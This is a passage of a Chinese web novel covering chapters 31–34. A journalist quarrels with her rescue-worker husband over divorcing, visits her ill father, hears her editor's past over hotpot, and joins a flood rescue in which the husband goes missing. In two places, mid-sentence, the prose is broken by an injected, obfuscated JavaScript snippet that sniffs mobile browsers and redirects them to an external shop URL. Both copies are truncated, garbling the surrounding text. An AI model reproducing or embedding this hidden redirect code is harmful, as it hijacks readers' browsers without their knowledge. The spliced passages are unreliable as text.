“谢什么,”齐寻带着笑意的话隔着听筒,微微弹动她的耳廓:“毕竟是法律承认的关系。” 黎叙闻攥紧了手机。 ……是他先提起这个话题,那么她就没有理由,再顾左右而言他地逃避了。 她深深咽动一次,心跳一下一下印在压着听筒的耳朵上。 她甚至疑心这空旷的楼梯间,是不是已经充斥了她心跳的回音。 她深吸一口气,下了决心似地:“你什么时候有空,我们去趟民政局?” 31. 第 31 章 这话一说出口,那边瞬间没了声息。 黎叙闻瞬间就后悔了——事情刚办完,发出来的报道都还热乎着,她就迫不及待说要离婚,简直是大写的过河拆桥。 可她有什么办法,摄像大哥的话她是真听进去了。 她知道齐寻受不了这个理由,肯定又会有一场争执。 于是她挑了个含糊的说法:“绝对不是嫌弃你啊,只是事情已经办完了,我们这个关系,恐怕会给……彼此都带来一些影响。” 那边笑了一声:“彼此?到底是会影响我,还是会影响你?” 黎叙闻困惑地问:“影响我什么?” “不知道。” 刚被软心慰语暖热的一池电波,让他一声冷哼结了冰。 楼梯间越是空旷沉寂,尴尬的沉默就越是膨胀喧嚣,像一颗撑到极致的气球。 电话两端的每一次幽微的呼吸都是他们轮流给岌岌可危的气球充气,就看最后它在谁手里炸掉。 黎叙闻闭了闭眼,索性直接将它扎破:“明天,明天你有时间吗?” “没有。” “……后天呢?” “汛期已经到了,黎小姐,”齐寻声音冷硬:“我没有时间,这些事等救援结束再说。” 他笑了一声:“要是有什么不方便,还请黎小姐高风亮节,为救援事业忍耐一下。” 黎叙闻敏锐地抓住话里的信息:“救援要开始了?什么时候出发,我怎么没有接到通知?” 齐寻被她突然调头的方向一噎:“……不知道。” “红十字会的证我已经考下来了。”黎叙闻停了停,又补:“第一名!” “嗯,表扬,但是不许去。” 黎叙闻气笑了:“齐寻你等着,我……” 那边毫不犹豫收了线。 “咚”的一声如同当头一棒,黎叙闻瞪大眼睛,不可置信地盯着通话结束的界面。 这人竟然敢挂她电话! 老马都不敢这样挂她电话! “齐寻你给我等着!”黎叙闻在楼梯间跺着脚无能狂怒:“等着!” 所以第二天,齐寻又在微光的训练基地看到了黎叙闻。 京屿的阴天总有雾霭沉沉的朦胧,而那个女人站在昏暗的光线里,自带一身耀眼亮色。 她穿一件黑色紧身短袖,下身套着宽松的工装裤,双手抱在身前,正随意倚靠在训练器械旁,眉目秾丽,唇角噙笑,饶有兴味地看着面前的年轻男人,淡色眼眸与烈色唇瓣相得益彰,令周围黯淡的布景瞬间失色。 而对面的小熊,壮壮的大小伙子,被她逗得低头扭捏,双手甚至搅在身后,露出一副被罚训都没有露出过的温驯表情。 用色浓烈,构图精巧,只有一点不好—— 站在画里的应该是他。 齐寻嘴角紧了紧,大步走过去,停在她身后三四步处。 原本的画幅蓦地向后延展一寸,高大的身影硬是挤进了她的身边。 黎叙闻在听见他的脚步声之前,身体先一步收到了靠近时强烈的威压感,本能地一回头,见他面沉似水地立在自己身后,讶异道:“这么快就听到消息了?我还想一会儿去找你……哎!” 齐寻冷着脸握住她的手腕:“我怎么跟你说的?” 黎叙闻躲也不躲,仰头对他笑,怪得意的:“你们随时待命呢,都睡在队部,是吗?” 齐寻目光一凝,视线越过她的肩膀去盯小熊,后者被他盯得打了个哆嗦:“怎、怎么了?这也不能跟嫂子说吗?” 他正待开口,嘴唇却被一根微凉的手指一指封缄。 他垂下眼睛,黎叙闻正挑着眼睛,歪头冲他狡黠地笑:“对啊,这也不能跟你老婆说吗?” 齐寻定定地望着她,动了动嘴,竟真的没有出声。 ——刚刚她说了什么,他根本一个字都没听见。 这个世界竟然在她以指尖吻他的那个瞬间,彻底失声了。 他只是眉眼低垂着,视线锁在她熠熠发亮的眼底,感觉自己的眉心在被她烛火一般的眼睛炙烤,理智也在缓慢地、势不可挡地沸腾。 他指尖陡然攥紧,另一只手搭上她的肩膀,顺势将她揽进怀里,带着人转身就走,是一个不容他人僭越觊觎的姿势。 小熊愣了好几秒才想起来叫他:“哎哥!去哪?你不盯训练了?” 齐寻声音远远的,冷得像冰:“你实在闲就去把厕所刷了!” 黎叙闻被半拖半抱进了行政楼,脸色自然不会有多好,搞得跟他们擦肩而过的吃瓜群众探头探脑想看热闹,又被她冷若冰霜的脸吓得噤声。 齐寻开了一间空办公室,手臂往前一送,黎叙闻便被按在了墙上。 她咬牙,正想等他转身关门时背刺他,不想齐寻脚跟一抬,厚重木门嘭地一声关上,将所有好奇打探的眼神关在门外。 他把她钉在身体与墙壁之间的狭窄缝隙,低头一瞬不瞬盯着她看。 黎叙闻后背紧贴墙壁,潮湿冰凉的触感顺着薄薄的T恤一点一点渗透她的皮肤,如同慢慢缠上她脖颈的蛇。 周遭太安静了,静得齐寻的心跳和呼吸都被无限放大,占满了两人之间可怜的罅隙,蓬勃而强势地,贴着她的皮肤一下下鼓动。 她忽然觉得闷热难当。 黎叙闻咽了咽,仰着脖颈上下打量他一趟,轻笑一声,一根手指点上他平直锁骨之间的颈窝,然后慢慢下移,路过峡谷沟壑,最后停在他的胸口。 她变本加厉地贴近,指尖轻轻用力:“让开。” 那里与他的目光一样,坚硬似铁,纹丝不动。 胸膛之间的空间再一次被压缩。 齐寻沉着唇角看她,不出声也不退开,似乎是打定了主意,要么她开口服软,要么就被他困死在身边。 空气中水汽充盈,潮闷得令人窒息。 这一方门后空间攫取了两个人暗潮汹涌的呼吸,困得他们喘不过气。 但还是没人动。 黎叙闻收敛笑意,后枕重新贴上墙,在他的钳制下硬是屈起膝盖,顶上他要害,抬头挑眉看他。 他吞咽一次,喉结明显地一滚:“你到底要干什么?” “昨天说过了。” “你是说过了。”齐寻稍微退开半寸:“随意、敷衍、出尔反尔。” 他显然动了气:“黎叙闻,做人没有你这样的。” 黎叙闻也沉下脸色:“这种话你说出口,就要对每一个字负责。现在我给你五分钟,把每个词给我解释清楚。” “否则?你要怎样?” “不怎么样,”黎叙闻盯着他冷笑:“我不跟无缘无故出言不逊的人说话。” 窒息的静默再次卷土重来。 这一回,她没有等来解释, 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妈妈有时候也会露出这样的眼神,明明很担心却强装镇定,已经打定主意让她自己选择,却还是小心翼翼地试探,说闻闻,要不咱们别做这个了吧? ——在这种错位的幻觉里,她几乎就要妥协了。 可是她没有。 为任何人放弃自己选择的路,因为别人的担忧而剪除自己的羽翼,那都不是她。 于是她轻轻笑了:“从小到大,我想做的事,再苦再难我都认。我做什么,选什么样的人生,谁都管不了。” 齐寻看着她笑得凉薄的眼睛:“是谁都管不了,还是我管不了?” 黎叙闻眉心极轻地一跳 有一线细细的不对劲,渐渐从她心里升起。 这一句的背后似乎……别有洞天? 然而没等她一探究竟,兜里的手机忽然响了。 黎叙闻拿出来看了一眼,面色有异,直接挂断。 一副做贼心虚的样子。 这点小动作落在齐寻眼里,陡然打散了他呼之欲出的坦诚。 他神情又恢复那种浅淡的不耐烦,双手插兜,看着她手忙脚乱回了条信息。 那边不依不饶,震动声卷土重来,嗡嗡地撼动两人之间的空气。 催命一样。 “接吧,”齐寻向她抬抬下巴,意有所指:“万一他有急事呢?” 黎叙闻眼神空了一瞬。 谁? 电话是黎策打来的,可是齐寻为什么会知道? 黎叙闻倒不担心对面有急事,这种状况隔几个月就要来一次,黎策记得她的号码,却不知道电话这头是谁,接了也是鸡同鸭讲,弄得她烦躁又低落,索性不接。 她撇开脸,没讲话。 齐寻望着她眉心浮起的疙瘩,似是因为他的存在,她特别、特别为难。 窗外铅灰的云沉沉下压,空气愈加黏腻湿热,让人窒闷得喘不过气来,远处扬起一阵模糊的风声,枝丫摇曳,滋滋啦啦地划在玻璃上。 他忽然重重吐息一次,转身道:“你接吧,我走了。” 黎叙闻抬起头,房门一开一关,那人的气息与她错身而过,彻底消失在了房间里。 一道雪亮闪电滚过天际,她望着外面剧烈摇动的藤蔓枝叶,慢慢地眨了眨眼。 雨落下来了。 32. 第 32 章 最后,她还是冒着雨,回了一趟疗养院。 从出租车上下来,雨丝已经密到遮盖视线,窗明几净的疗养院深藏在雾气缭绕的雨幕里,像一个未解的谜。 前台护士看到她,很是惊讶:“怎么今天过来?哦,是黎先生又给你打电话了?” 黎叙闻点头:“多久了?” 护士平静道:“一个多小时了吧,再有一小时怎么也该安静了。” 黎叙闻嗯了一声,走进病区幽深的走廊。 她走到病房门口,见房门大开着,里面乱得如同刚刚经历过洗劫:地上全是散落的空白纸张,床头柜堆满平展的文件夹,被单一半铺在床上,另一半布满皱褶,躺在地上被他过来过去的脚步践踏,全是黑黑的脚印。 黎策双手抓着头发,在房间里四处转圈翻找,所到之处无一例外地一通嚯嚯,一边翻嘴里一边嘟囔:“哪儿去了……刚刚明明还在的……哪儿去了呢……” 黎叙闻在门口看了一会儿,突然说:“丢了。” 黎策茫然地抬头看她:“你是谁?” 黎叙闻很有经验地沉默,等着他给自己安一个角色,然后顺着他的剧本继续往下演。 “哦,对了,你是来拿情报的!”黎策一拍脑袋:“你终于来了!你等等,马上就找到了,今天你一定要把情报发出去……” 黎叙闻冷着一张脸:“资料已经弄丢了。” “我没有啊,”黎策抹了一把脸,就像抹去多年前他战栗的汗水:“没丢,肯定没丢,你等等。” 黎叙闻看着他的背影,忽然一阵不耐。 她大步冲进去,一把扳过黎策的肩膀,双手抓紧他的手臂:“你丢了!四百人的性命在你手上,可是你没把情报送出来!你把它们弄丢了!” 黎策瞪大眼睛望着她,却不知透过她愤怒失望的眼睛,到底看到了谁。 或许他又回到了那个满地废墟的破败城市吧,因为黎叙闻的呼吸间,似乎也闻到了一种窒闷腐败的硝烟气味。 她在这样的气息中,蓦然卸了力。 “那时候到底发生了什么?”她垂下双手,第无数次问:“你能不能告诉我,那时候你做了什么,闹得总台不得不开除你?” 黎策呆愣地看了她一阵,猛地推开她:“你胡说!我没丢、没丢!”他不管不顾地继续回身翻找,像土拨鼠一样把土地再犁一遍:“你不是来拿情报的,你走吧,你滚!” 说到最后,他几乎是在咆哮,中气十足,震得空气都在发颤。 这是他生病之后难得有力量的时候,不像他年轻时,高大,沉稳,无论说什么都掷地有声,总能解答黎叙闻一切突发奇想的疑问。 他也曾经让她坐在自己的肩膀上,指着远方跟她说,闻闻你看,那边有个国家正在打仗。爸爸就要去那里工作,好让那里的小朋友也跟你一样,早点过上幸福的生活。 现在他的身影,已经没法与那时候的父亲重合了。 黎叙闻闭了闭眼,冷声问:“闹够了么。” 他却忽然回过自己干瘪的背影,浑浊的瞳仁盯着她,说:“你也不信我吗?” 黎叙闻一愣,意识到他在说什么的瞬间,不可置信地站直了身体。 他想起来了? 他终于清醒到能跟她说一说当年,说一说那个让他停职、最后闹得妻离子散的错误了? 但紧接着,他又转身,絮絮叨叨地:“对,对,我不能泄密,那是个大秘密!” 黎叙闻肩膀陡然垮下来,长长地叹了一声。 果然,一切都还是妄想。 他的记忆或许还完整地沉睡在大脑中的某个角落,但通向那记忆的路径,早就跟着那份情报,一起丢失了。 黎叙闻垂下眼睛:“爸爸。” 她声音很轻:“我好想你。” 黎策显然已经耗尽了体力,他背对着她席地而坐,肩头向里勾着,似乎在苦思冥想,又似乎在痛苦。 一旦他陷入这种状态,旁人说什么都没用了。 因为每一次发病都是一次闪回,他会完全被拉回到那个时空。那里没有女儿,没有疗养院,只有他必须要完成、也永远不可能完成的任务。 她舌根发苦,最后看了一眼背对着她、动作迟缓的黎策,便转身离去。 她从疗养院出来时,外面还在下大雨。 今年的雨水似乎特别多,这场雨下得路面冒烟,她就撑着伞,隔着雨雾回头望了一眼。 黎策已经平静下来,正趴在被淋湿的窗台,两只小臂搭在外面,见她回头,立刻高兴地冲她挥舞起来。 这让黎叙闻想起从前念书的时候,爸爸在外采访,经常不在家,偶尔赶上休假,他就会在爬着翠绿爬山虎的窗户上这样看自己去上学的背影。 那时她叛逆,哎哟一声,挥着手让他赶紧回去,肉麻死了。 再后来,爸爸眼睛里渐渐再也倒映不出她的身影,那里面搁浅的、埋葬的,永远都是千里之外血肉横飞的沙场。 她至今仍不明白,为什么他已经那么优秀,也还是克服不了自己的软弱。 这个问题,直到今天她也没有得到答案。 年少时的爬山虎化成根根铰链,从异乡到现在,一步一步拖着她走到今天。 但没有关系,总有一天,她会亲自去,会亲自做出自己的解答。 黎叙闻扭头迈进雨里,才想起来,她走得太急,根本没叫车。她苦笑一声,索性直接往外走,想着走到哪算哪,冷静冷静也好。 可她才踏出两步,再一抬头,竟看到了马颂今开着他那辆破烂帕萨特,在疗养院门口,正撑着伞往里望。 见她走来,远远地就招手叫她:“闻闻,吃饭了吗?” 黎叙闻眼眶一热,快步走到车前,还在吸鼻子:“没有,马叔,我饿。” 马颂今笑着说:“那想吃什么?” “……火锅。” 马颂今“哎”了一声,给她开门:“走,吃火锅。” 帕萨特像一叶黑色的小船,破开雨幕,载着她从潮热的雨林到淋漓的都市,最后停在了一家港式边炉门口。 稀薄雪白的水米在锅里翻滚着,渐渐变得粘稠,她的心情放心去滚了一遭,也慢慢浸透了温暖的米香。 她在蒸腾的雾气中眨眨眼,往锅里下了虾滑:“你怎么知道我在疗养院?” 马颂今其实不知道,他只是去探望黎策的,门口护士说黎小姐也在,他就识趣地没有上去。 他涮了一把菜:“他状态怎么样?” “不怎么样,又在找。” 马颂今手底下调着酱汁,没做声。 黎叙闻眼看着他往碗里加了第三把小米辣,终于还是没忍住:“马叔,那天……” “我真的不知道。” 马颂今知道她要问什么,因为这么多年,她已经问了无数次了。 黎叙闻哦了一声,不说话了。 空气一时静默起来,跟着远处食客的谈天声起起伏伏的,只有从锅底腾起,又在米粒之间碎裂的气泡咕嘟声。 “我也一直都想问他,到底发生了什么,他好好地出去送情报,怎么就晕倒在糖果店里了,东西也被人抢了。”马颂今眼睛也没抬,顾自道:“这么多年了,我要是真的知道,你觉得我会瞒着你不跟你讲吗?” 黎叙闻隔着白雾看他这两年日益退行的发际线,咽了咽,没再往下问。 她见过马叔去看她爸爸,那时候他哽咽着问,如果那时候他争气些,扛着疟疾硬撑着去送情报,事情会不会不一样? 她还记得年轻的马叔红着眼睛跟她妈妈道歉,说嫂子对不起,黎哥这是替了我。以后你跟闻闻遇到什么问题,都尽管来找我。 愧疚是最经不起细问的,它很容易就会变成无限膨大的肿瘤,最后变成不能细看的恨意。 黎叙闻给他捞了一颗虾滑,丢进辣椒中间,自己也捞出一颗咬了一口,忽然说:“其实我跟我妈早就知道,他变成这样,大概是迟早的事,只是我们没想到这天来得这么快。” 马颂今笑了一声,却没接这一句,反而生硬地转移了话题:“主编停了你的职,委屈了没有?” 黎叙闻吞了虾滑,笑道:“委屈什么,又不是小孩子。” 马颂今眉头稍展:“你们主编业务能力不错的,你在她手底下能学到点东西。虽然这次你越级发报道确实不对,里面有些伦理界限,把握得也不够好。” 他顺势把碗里的虾滑又夹给黎叙闻:“但总体做得不错,再接再厉。” 黎叙闻:…… 她还以为能骗着小老头吃掉碗里那三把小米辣,结果人家心里门儿清,又捞给她了! 黎叙闻气笑了,直接把虾滑丢进锅里:“你就不能吃一次亏!” 马颂今大笑,笑得皱纹都舒展了开。 黎叙闻笑了一阵,又咬着筷子,道:“就是我的报道,不知道她要给我怎么删。”她叹了一声:“那个小姑娘……” “你没看到吗?” 黎叙闻懵懂着问:“什么?” 马颂今摇摇头,把手机递给她:“自己的报道自己不关注舆情,谁教你的?” 黎叙闻狐疑地接过手机,首先去翻自己的报道,发现别说删减重要内容,连一个标点符号都没少。 她又去看评论区,果不其然,转发和评论的画风已经逐渐倾斜,矛头开始对准调查记者本人,质问黎叙闻在事件里有没有推波助澜,琳琳一个孱弱的女孩,为什么能下那么大决心刺伤父亲,这里面记者的挑拨肯定功不可没。 但再往上翻,新的评论方向又渐渐趋于正常,恢复到了之前对代孕的抵制和制度的讨论上。 她讶异地退出来,发现商报社会观察版的移动端界面,多了一条置顶消息。 她不明所以地点开,一阵带着萧瑟的轰然热意,顿时在她眼底生长出来。 那是一则简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868177|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短的声明: 商报全力支持社内记者在代孕追踪调查中的成果。此项报道由编辑团队严格审核,并由全体决策成员共同决定发布。商报将承担由此产生的所有后果,并始终坚定支持黎叙闻记者的理想与决心。 我们强烈谴责任何对记者本人的恶意揣测与人身攻击。商报将采取一切法律手段,追究相关责任人,维护记者的合法权益。 感谢社会各界的关注与监督。 落款是“商报编辑部全体” 黎叙闻恍然地抬头,顾不上遮掩眼底的水汽,问:“这是……谁写的?” 马颂今哼笑:“谁写的,你说是谁写的?当然是你的好主编,季筝。” 他笑着不住摇头:“还‘商报编辑部全体’,她不发我根本都不知道有这个声明。” 他一根指头戳了下黎叙闻的脑袋:“就说你越级发布是跟谁学的……上梁不正下梁歪!” “她?她以前不是……”黎叙闻快速眨了眨眼睛,觑着马颂今的脸色,一副刻意的欲言又止。 马颂今撩她一眼:“鬼迷日眼的,问。” 黎叙闻放下筷子,神神秘秘道:“季主编,她……” “你想问她之前究竟收没收钱?” “嗯。” “……嘁,小崽子,想什么呢?” 然后,黎叙闻就听到了一个她始料未及的故事。 当年季筝确实收了钱,终止了调查,几个月的暗访,最后连报道也没发,但原因跟黎叙闻想象的一点都不同。 那个假药案查到最后,所涉及的已经不是季筝一个小小的记者可以触及的了,再深入,她不但拿不到真相,连商报都可能被波及。 正当她两难之时,受害人家属突然联系她:受害人突发后遗症,人已经进了ICU,病势凶险,费用续不上,人百分之百会没。 但她就是个记者,即便掏空积蓄也是杯水车薪,于是她想了一个办法。 她去找了她能接触到的药企的最高负责人,提出私了。 有她的聪明在背后替受害者谋划周旋,结果自然皆大欢喜——病人得到了及时的救治,恢复良好;药企那边花钱买了安心,虽然在季筝的阻挠下最后没扭转为正面报道,但也算躲过一劫。 方方面面都完美,除了季筝锁进抽屉里的那份稿件,和垫在稿件下面、被她一同锁起来的,身为记者的尊严。 那次之后,她主动向马颂今请辞,马颂今驳回了她的辞呈,并力排众议,把她扶成了主编,让她依然在新闻事业中奋斗,也不算浪费了她的才华。 直到锅里的粥底发出淡淡的糊味,黎叙闻都没有想起要拿起勺子搅一搅。 她怔愣地盯着锅里上下翻滚的粥米,甚至不知该用什么表情来回应这个真相。 哑然了半晌,她才问:“季主编……她为什么不说呢?” 马颂今垂着眼,用勺子轻轻舀动白粥:“有些事她自己都面对不了,那解释也就没意义了。” 黎叙闻恍惚着,再次陷入沉默。 她想起自己在调查中所面对的两难——她也曾想过要放弃,只是她比季筝幸运,痛苦的妥协,最终没有落到她的头上。 马颂今看着她恍惚的表情看了很久,觉得终于是时候,教给她最后一课了。 “闻闻,真相是有代价的。做记者做到最后,报道的是事,可凭的是良心,看清的是人。” 马颂今说得很慢,像是在把什么很重的东西,慢慢交到她手上。 “新闻干到最后,拼的就是自己——是你能放弃多少东西,能克服多少心魔,能付出多少代价。这个代价可能是你,可能是你的当事人,也有可能是你亲近的人。” 他轻轻搅动锅底,夹了一块牛肉,放进她碗里:“但我还是希望你能留在牌桌上,不要像你爸爸一样,在黎明前倒下。” “保护好自己,”马颂今看着这个跟黎策有着同样倔强表情的女孩:“然后去冲锋陷阵。” 黎叙闻低下头,也不管烫,把那块牛肉囫囵咽了,猛眨了几下眼睛,才重新抬头,笑着说:“知道了,马爹。” 她侧身躲过马颂今来敲她脑袋的手,安静地吃了一阵,拿出手机,在那篇报道的评论区,发了一条置顶评论: “我们所做的一切,都是为了昔日不甘的妥协不再重演。” 几公里之外的商报办公室,季筝正吃着外卖,手机叮咚一声,她立刻扔下筷子,去看新的评论。 白底黑字的一行,挤挤挨挨地跳入她的眼帘。 那语气,简直就是黎叙闻本人,瞪着眼睛紧绷着小脸,在她面前大放厥词。 又严肃,又幼稚。 像极了多年以前,某个同样热血、同样愚蠢的记者。 季筝盯着这条置顶评论看了一会儿,面无表情熄了屏,拿起筷子继续吃饭。 两片菜叶下肚,她停下咀嚼,忽而无声地笑了。 “小孩儿。” 33. 第 33 章 让整个微光都枕戈待旦的那只靴子,终于在几天后的凌晨,猝不及防地落到了八十公里外的龙腾河上。 凌晨三点,微光队部接到通知,龙腾河水位因暴雨骤然上涨,短短几个小时内,水位猛增五米,超过了历史水位。 几座堤坝均已出现不同程度的损坏,河水迅猛涌入周边低洼地区,灾情的扩展迅速超出了预期,沿河十几个村镇全部陷入茫茫洪水之中。 接到联动通知后,微光救援行动、后勤、医疗等组别立刻响应,清点人数和物资,准备出发。 齐寻和纪士诚最后一次检查装备,确保一切无误后,等待队员做好准备,赶赴现场。 这战前难得的喘息,纪士诚点上一支烟,又开始忆往昔:“还记着你第一次救援不?多大来着?” 齐寻视线一直在训练场的集结队伍中逡巡,随口答:“十八吧。” “对对,屁大的孩子,”纪士诚想起那个沉默寡言的少年,就呵呵笑起来:“那次给我吓死了。” 齐寻第一次跟着他去救援,冲锋舟都不会开,就敢顶着洪峰硬上,结果人没救回来,自己在ICU躺了两三天。 那几天纪士诚守在外面,抽了一条烟。 “我警告你啊……你……” 齐寻抱臂靠在窗户旁,面无表情接上下半句:“不许再不要命了,要是回来听见有人吹我的英雄事迹,你就把我腿打断。” 一个字都不差。 纪士诚失笑:“这次不用我打了,有人替我动手。” 齐寻回头看了他一眼,没搭话。 那个人…… 八成不会再演得这么投入了。 小熊小跑着来敲门:“人齐了,可以走了。” 纪士诚哎一声,迈步要走,齐寻忽然道:“医疗组也齐了?” 小熊一愣:“啊,齐了啊,”说着忽然反应过来:“哦,你问嫂子吧?她在啊。” 齐寻眉心一抽,脸色瞬间难看起来。 小熊摸不着头脑:“咋啦?” “……没,出发。” 救援车队在暴雨后的浓雾中抵达灾区,雨势虽有所减弱,但空气中依然弥漫着沉冷的湿气。 两个队长选了合适的地点,通知所有人先卸下物资勘察地势,准备开始救援,齐寻则负责联系先一步到达的其余救援力量,互通消息。 消防的肖队长在已经在现场忙得焦头烂额,见齐寻来了,招呼都来不及打,立刻道:“给你们两个村,好几百号人,全困里面了,抓紧时间。” “没提前撤离?” “来不及,计划白天撤,谁想到半夜就下雨。” 两人迅速协调了通讯频道,肖队长提醒:“注意气象平台。最近这天气,鬼迷日眼的。” 齐寻应下,回到大本营跟纪士诚同步了消息,带上整装待发的行动组,准备驾冲锋舟进村探路。 纪士诚跟他们兵分两路,先一步出发,齐寻跨上船,未及启动,却见一个细痩的人影站在岸边,一脸沉肃地望着他不说话。 自上次两人在队部不欢而散后,别说当面交流,连信息都没发一条。 齐寻动作顿了顿,挪到船头,在雾气中淡声道:“说话,赶时间。” 黎叙闻一头卷发扎成高马尾,眼瞳在雾里发亮,她没吭声,却从兜里掏出一个小玩意,放进他手里。 齐寻低头一看,是一只明黄色的小小竹蜻蜓。 唇角在他反应不及时就先一步翘起,好在浓雾帮他遮掩。 他努力让语气波澜不惊:“这什么?” 黎叙闻见他不领情,把竹蜻蜓从他手里抽回来,抬手夹在了他肩膀上。 清晨微风吹过,竹蜻蜓在他肩上呼啦啦地转。 搅得他侧脸都是温柔的风。 “哄小孩的,你戴着。” “我是小孩?” “你有那么可爱?”黎叙闻不松口:“戴着,方便我找你。” 齐寻垂眼看她,目光里的谴责呼之欲出:“找我干什么,好追着气我?” 黎叙闻冷笑:“找你看看我要不要把户口本改成丧偶。” 说完头也不回就走了。 齐寻皱着眉,冲她背影喊:“老实呆着,跟着组长好好安营扎寨!” 那背影顿了顿停下脚步,侧脸含糊道:“注意安全。” 齐寻笑了一声,启动冲锋舟马达,一组三舟,渐渐消失在了晨雾中。 龙腾河蜿蜒而下,哺育了沿岸几十个村落,一朝失控,浑浊河水将家园尽数吞没,地势高些的人家水位及腰,家里轻的物什全部飘在水面上。 而地势低的地方,村舍淹得都只剩下一个屋顶,一家几口就坐在房顶上,眼巴巴地等救援。 救援队对地形不熟,出发前齐寻扫了一眼地图,真正进来却发现,村子里的地势远比地图复杂,只能挂了喇叭在船头,一遍遍播放救援语音。 救了几个屋顶求生的村民,这条线上的地形也差不多摸清了。齐寻交代小熊先把人送回去,再多点些人,带上食物和水,顺便把他画好的地图拍了发群里。 他领着队员继续涉水而下,又救下了一个带着儿子的年轻父亲,男人千恩万谢,自告奋勇地给他们当向导。 齐寻面无表情地听完,对他点了点头,道了声“嗯”。 大山轻车熟路接上话:“我们副队这个‘嗯’,意思是‘您别客气,这都是我们应该做的,您能配合我们的工作,我个人非常感谢。’” 小熊在一边笑得不行:“白蛇翻译机,还得是你。” 被救下来的小男孩惊魂未定,紧紧靠着齐寻,抬头一直看着他肩上的竹蜻蜓。 旁边有队员戳齐寻:“白蛇,人家小孩眼巴巴的,这小玩意你送人家呗。” 齐寻伸手捂住竹蜻蜓,扭头瞥他一眼。 队员不服气,低头哄小孩:“大哥哥坏,回去我给你买,买小风车,比他那个好看!” 同舟另一名队员笑坏了,骂他:“你瞅瞅你夺讨人嫌,知道那是谁送的不,你就胡说?” 齐寻由着他们嚼舌头,忽然在一片水声中听见一点异动:“嘘,噤声。” 他循着响动拨转船头,冲锋舟开过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐寻定定地听了一会儿,发根处忽然一炸! 他以前听过这种声音——这是暴风雨降临之前,前哨对他仁慈的耳语。 来不及做别的反应,他直接倾身对小熊喊:“快,快撤!不要带人回来了,暴雨马上到!” 小熊一懵,立刻去看气象平台:“没啊,这上没发通知呢……” 齐寻抽走他的手机扔进他怀里,语速极快:“听命令,赶紧带人走,不要走回头路。只要过了前面的甬道就安全了。” 小熊几乎被他吓傻了:“哥,那、那你……” “我有数,收了尾马上走,来得及。”齐寻头也不回:“保证所有人的安全!” 小熊一咬牙,立刻调转船头高声疾呼,所幸平日里训练有素,短短几分钟,舟队就已经踏上了回营的路。 他最后向后望了一眼,浑浊的水面中间,已经看不见齐寻的影子了。 34. 第 34 章 如注暴雨从午后开始,一直咆哮着倾倒到下午,轰鸣的水流声仿佛压在耳边。 微光大本营从安营扎寨开始,上百号人脚就没沾过地——行动组的队员一批批回来,又一批批离去,后勤处忙着协调分发物资、记录用量,医疗组更是把全部人力都用在了净化水源和处理伤员上。 纪士诚带的小队赶巧在暴雨来临之前回来,抬进又一拨的伤员,连他本人也轻微扭伤,被队员按在后勤处休息,正巧遇到阿咩搬着水往外走,便问:“白蛇带的人呢,都回来没有?” 阿咩摇头:“没有。” 纪士诚扭头望了望外面,眉间黑云压顶。 阿咩把瓶装水搬到另一边的医疗组,一进门就看到黎叙闻半跪在沾着泥浆的地上,身上都是干了的泥水,袖口挽至肘间,手底下正给一个女孩固定肿成一片的腿。 女孩脸上挂着泪,嘴里却在催:“然后呢?” 黎叙闻宛然一笑:“然后他们就过上了幸福快乐的生活。”说着她手指将绷带两边拉紧,完成了固定。 女孩破涕为笑:“你讲故事怎么虎头蛇尾!” 旁边队员过来,扶起女孩准备上转运车,黎叙闻笑道:“因为包扎完了,我不用再编了。” 阿咩过来,递给她一瓶水:“闻姐,适应得不错呀。” 黎叙闻接过来,仰头咕嘟咕嘟灌下去小半瓶,毫不讲究地用手背一抹嘴:“再来一瓶。” 阿咩冲着空了的水箱努努嘴:“没有了。” 黎叙闻一愣:“这还不到一天,没有了?” “已经找人去调了,”阿咩道:“受灾范围太大……就算我们一口不喝,全留给灾民,也还是不够。” 黎叙闻盯着手里的半瓶水,忽然问:“齐寻呢?回来了没有?” 阿咩摇头:“没有,签到处还没见他人。” 外面有人叫后勤,阿咩应了一声走了。 黎叙闻把半瓶水揣进口袋,转身就去给马颂今打电话,一点不客气,张口就要水要吃的要敷料。 马颂今多一句话都没问,当即答应。 这时门口有溺水者被抬进来,黎叙闻再见都来不及说就收了线,冲上去协助组长做心肺复苏。 然后是永无止尽的读秒、按压、听音、人工呼吸,不知按压了多久,久到她的指尖已经开始发麻,心电图总算滴滴一声,慢慢恢复了曲折的波动。 地上的患者猛地呛出一口水,缓缓睁开了眼睛。 患者被担架抬去里面继续治疗,黎叙闻双臂几乎脱力,滑坐在一边,不可思议地低头看着自己的手。 ——这双手刚刚救了一个人,救了一条活生生的生命。 她忽然就理解了救援队的大家,为什么没有工资,没有奖赏,还如此热衷救援事业。 “嫂子?” 小熊的声音打断了她的思绪,黎叙闻茫然地抬头,见他已经换了衣服,头发还湿着,便顺手给他递了毛巾,随口问:“都回来了?顺利吗?” 小熊左顾右盼:“白蛇呢?” “他没跟你们在一起?” 小熊失神了一秒,瞪大眼睛:“他还没回来?他不是说收个尾就回……” 他掏出无线电,电波却怎么都无法穿透外面的大雨滂沱。 手台里无限循环的滋啦滋啦声在黎叙闻耳边嗡然作响。 她表情空了一瞬:“你的意思,这么大的暴雨,他落单了?” “没、没事的,”小熊语无伦次:“也许他让一回来就让人叫走了,又或者……” 他绞尽脑汁想理由,解释的声音却越来越小。 这解释的离谱之处,连黎叙闻也听得出来——培训的时候教官就讲过,执行外勤回来,必须跟队长或者后勤报备。 这规矩还是齐寻定的,如果他回了营地,不可能没人见过他。 黎叙闻心中埋伏的不安渐渐苏醒了。 它们翻滚、撕扯,最后只剩下早上齐寻离开之前,她说的那句气话: 